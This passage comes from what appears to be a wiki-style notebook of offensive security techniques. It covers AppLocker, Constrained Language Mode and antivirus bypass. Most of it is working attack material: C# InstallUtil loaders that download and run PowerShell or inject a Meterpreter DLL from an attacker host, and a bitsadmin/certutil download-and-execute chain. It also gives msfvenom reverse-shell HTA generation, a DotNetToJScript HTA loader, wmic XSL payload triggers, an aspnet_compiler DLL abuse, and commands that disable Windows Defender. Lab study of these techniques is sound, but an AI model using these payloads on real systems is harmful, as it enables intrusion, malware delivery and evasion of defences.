            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
